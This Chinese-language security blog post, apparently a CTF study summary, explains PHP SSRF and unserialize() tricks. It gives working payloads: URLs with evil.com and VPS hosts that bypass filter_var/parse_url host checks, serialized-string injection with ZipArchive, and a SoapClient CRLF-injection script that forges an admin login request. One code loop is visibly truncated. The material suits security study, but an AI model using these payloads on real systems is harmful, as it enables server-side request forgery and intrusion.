Some trick in ssrf and trick in unserialize()

Some trick in ssrf and trick in unserialize()_第1张图片

点击蓝字关注“合天智汇”,获取更多干货

1

前言

最近参加了一些比赛,也看了一些国外比赛的题解文章,感觉学到很多东西,于是在此总结一下

2

some trick in ssrf

1

trick1 filter_var() bypass

之前看到一篇文章,觉得写得很不错,于是在此总结一下

比如说如下代码

   $url = $_GET['url'];

   echo "Argument: ".$url."\n";

   if(filter_var($url, FILTER_VALIDATE_URL)) {

      $r = parse_url($url);

      var_dump($r);

      if(preg_match('/skysec\.top$/', $r['host']))

      {

         exec('curl -v -s "'.$r['host'].'"', $a);

      } else {

         echo "Error: Host not allowed";

      }

   } else {

      echo "Error: Invalid URL";

   }

?>

我们能够进行ssrf吗?

首先看一下filter_var()的作用

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

比较常见的选项有:

FILTER_VALIDATE_EMAIL 检查是否为有效邮箱

FILTER_VALIDATE_URL 检查是否为有效url

 

这里我们的过滤显然是检查是否为有效url

简单尝试一下:

http://localhost/web/test/22.php?url=http://skysec.top

 

得到回显

Argument: http://skysec.top

H:\wamp64\www\web\test\22.php:6:

array (size=2)

  'scheme' => string 'http' (length=4)

  'host' => string 'skysec.top' (length=10)

再试一个:

 http://localhost/web/test/22.php?url=http://skysec;

 

得到回显:

Argument: http://skysec; Error: Invalid URL

很显然后者不符合url的匹配要求

那么我们再来看最开始的代码

 

1.filter_var对url进行check

2.parse_url获取url的host

3.对host进行正则匹配,判断是否以skysec.top结尾

 

那么这样可能存在ssrf吗?

文章:https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

中提到了一种方法,我觉得学习到一手:

我们可以访问

http://localhost/web/test/22.php?url=0://evil.com:80,skysec.top:80/

http://localhost/web/test/22.php?url=0://evil.com:23333;skysec.top:80/

当使用了exec()函数,例如样题代码中exec('curl -v -s "'.$r['host'].'"', $a);时

可以使用

http://localhost/web/test/22.php?url=0://evil$skysec.top

 

这样都可以绕过检测,达到请求任意ip,任意端口的目的

不妨测试:

我们将上述代码放在自己的vps上:

1.监听23333端口:

root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

 

访问

http://vps_ip/testsky/index.php?url=0://vps_ip:23333;skysec.top:80/

 

可以在监听中收到:

Connection from [vps_ip] port 23333 [tcp/*] accepted (family 2, sport 37996)

GET / HTTP/1.1

Host: vps_ip:23333

User-Agent: curl/7.47.0

Accept: */*

 

发现成功请求到我们指定的ip:port

2

trick2 libcurl and parse_url()

这个点是在34c3中的一道题中学到的

首先列出参考链接:

http://www.freebuf.com/articles/web/159342.html

https://www.jianshu.com/p/ef6cf8665a64

 

个人认为这两篇文章分析的很透彻,其中ssrf的trick在于

parse_url与libcurl对curl的解析差异

测试环境为

php 7.0

libcurl 7.52

 

匹配规则

php parse_url:

host: 匹配最后一个@后面符合格式的host

 

libcurl:

host:匹配第一个@后面符合格式的host

 

比如如下url:

http://u:[email protected]:[email protected]/

 

php解析结果:

  schema: http

    host: b.com

    user: u

    pass: [email protected]:80

 

而libcurl解析结果:

    schema: http

    host: a.com

    user: u

    pass: p

    port: 80

    后面的@b.com/会被忽略掉

 

那么此时,如果恶意代码检测是依据parse_url的结果,就会导致绕过问题

我们假设一个环境:

1.利用curl对用户给出ip进行访问并获取内容

2.为防止ssrf,我们利用parse_url进行解析,设置waf

那么就以刚才的url为例:http://u:[email protected]:[email protected]/

如果我们的后端代码用parse_url()去解析我们传入的url,并只允许访问Host为b.com的ip

而此时如果我们传入的是刚才的url,那么我们可以绕过解析,并且curl访问到非法ip

当然34c3的这题可以学到的知识远远多于这一点,有兴趣的可以去搭建一下环境,题目已开源:

 https://github.com/eboda/34c3ctf/tree/master/extract0r

   $url = $_GET['url'];

   echo "Argument: ".$url."\n";

   if(filter_var($url, FILTER_VALIDATE_URL)) {

      $r = parse_url($url);

      var_dump($r);

      if(preg_match('/skysec\.top$/', $r['host']))

      {

         exec('curl -v -s "'.$r['host'].'"', $a);

      } else {

         echo "Error: Host not allowed";

      }

   } else {

      echo "Error: Invalid URL";

   }

?>

3

some trick in unserialize()

1

trick1 Method with the same name

这个方法是来自于Insomnihack Teaser 2018 / File Vault

首先给出官方的题解

https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault

其中关键代码如下

php

function s_serialize($a, $secret) {

  $b = serialize($a);

  $b = str_replace("../","./",$b);

  return $b.hash_hmac('sha256', $b, $secret);

};

由于str_replace的存在,我们可以破坏序列化对象,并引入恶意代码

举个例子

我们有

php

$array = array();

$array[] = "../../../../../../../../../../../../../";

$array[] = 'A";i:1;s:3:"Sky';

echo serialize($array)."\n";

可以得到序列化结果

a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:15:"A";i:1;s:3:"Sky";}

 

如果我们正常反序列化,得到的是:

Array

(

    [0] => ../../../../../../../../../../../../../

    [1] => A";i:1;s:3:"Sky

)

 

但经过str_replace()后得到

a:2:{i:0;s:39:"./././././././././././././";i:1;s:15:"A";i:1;s:3:"Sky";}

 

此时反序列化后的结果为

Array

(

    [0] => ./././././././././././././";i:1;s:15:"A

    [1] => Sky

)

 

我们发现Sky这个点现在完全可以注入新的代码

这是为什么呢?

我们关注str_replace()之前的序列化结果

a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:15:"A";i:1;s:3:"Sky";}

 

此时的s:39刚好为:../../../../../../../../../../../../../

而经过str_replace后

此时的s:39并没有变,但是内容发生了变化:

 

./././././././././././././";i:1;s:15:"A

 

可以发现,我们成功的吞掉了后面的值,导致可以构造注入

既然可以构造对象注入,那我们看这段代码

php

class UploadFile {

 

    function upload($fakename, $content) {

        ..... // 你什么也不能做

    }

 

    function open($fakename, $realname) {

        ..... // 你什么也不能做

    }

}

 

我们可以发现,对于UploadFile,我们是无可奈何的

但是我们是可以构造对象注入的,那么有没有其他对象也有同名的函数呢?

php

  foreach (get_declared_classes() as $class) {

    foreach (get_class_methods($class) as $method) {

      if ($method == "open")

        echo "$class->$method\n";

    }

  }

?>

 

运行脚本不难发现

SessionHandler->open

ZipArchive->open

XMLReader->open

SQLite3->open

 

拥有同名函数open()的类有4个

而在file-vault这道题目中ZipArchive->open()可以用来删除文件.htaccess,以便可以运行小马

所以最后由于str_replace的原因,我们成功进行了对象注入,以其他拥有同名函数的对象,完成了意想不到的操作

2

Magic Method call()

这个trick来自于刚结束的N1CTF的hard php

题目需要使用ssrf,但是整个题目就只有2个漏洞点:

1.sql注入

2.伪造任意的php内置类

 

sql注入显然在这道题里只是用来获取管理员密码的,与SSRF无关

那么看来SSRF就是在伪造任意的php内置类了

题目中可控并且可进行反序列化的类为

php

class Mood{

    public $mood, $ip, $date;

    public function __construct($mood, $ip) {

        $this->mood = $mood;

        $this->ip  = $ip;

        $this->date = time();

 

    }

    public function getcountry()

    {

        $ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);

        $ip = json_decode($ip,true);

        return $ip['data']['country'];

    }

    public function getsubtime()

    {

        $now_date = time();

        $sub_date = (int)$now_date - (int)$this->date;

        $days = (int)($sub_date/86400);

        $hours = (int)($sub_date%86400/3600);

        $minutes = (int)($sub_date%86400%3600/60);

        $res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");

        return $res;

    }

}

 

经过上一个trick点,我们可以知道不可能存在某个同名函数getcountry()拥有ssrf的能力的

但此时,我们查阅相关手册可以发现:

public mixed __call ( string $name , array $arguments )

 

在对象中调用一个不可访问方法时,__call() 会被调用

而此时我们可以发现php内置类:SoapClient

这个类可以发送url请求,但是新的问题来了:

该类是用来发送xml的,发送的请求Content-type为Xml

我们如何才能让他伪造post数据包呢?

这里我们可以发现SoapClient的参数中有user_agent项

可以进行CRLF注入

所以最后我们可以构造soapclient对象

php

$target = "http://127.0.0.1/index.php?action=login";

$attack = new SoapClient(null,array('location' => $target,

                               'user_agent' => "AAA:BBB\r\nContent‐Type: application/x‐www‐form-urlencoded\r\n"."Cookie:PHPSESSID=sessid\r\nContent‐Length:"."501\r\n\r\nusername=admin&password=nu1ladmin&code=985008&",'uri' => "skysec.top"));  

$payload = serialize($attack);  

function strToHex($string)

{     

$hex = '';

for ($i=0; $i

{         

$ord = ord($string[$i]);        

 $hexCode = dechex($ord);         

$hex .= substr('0'.$hexCode, ‐2);     

}

return $hex;

}

echo strtoHex($payload);

 ?>

 

由此题可见,倘若我们有可控的反序列化注入点,很有可能可以构造ssrf进行攻击!

另外此题已经开源,有兴趣的可以自行搭建:

https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php

 

4

总结

经过一番对比,真的可以感觉出明显的差距,国际赛值得学习的点真的很多,本渣渣还需继续努力Orz,像大师傅们致敬!

最后,郑重说明:利用本文做任何违法事情,与本人和合天智汇无关,资料仅供参考与学习。

看不过瘾?合天2017年度干货精华请点击《【精华】2017年度合天网安干货集锦》

还不过瘾?加入我们的直播开始学习吧!

Some trick in ssrf and trick in unserialize()_第2张图片

学习完了别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

重金悬赏 | 合天原创投稿等你来!(点击了解投稿详情)

Some trick in ssrf and trick in unserialize()_第3张图片

    合天智汇

网址 : www.heetian.com

电话:4006-123-731

Some trick in ssrf and trick in unserialize()_第4张图片

长按图片,据说只有颜值高的人才能识别哦→

你可能感兴趣的:(Some trick in ssrf and trick in unserialize())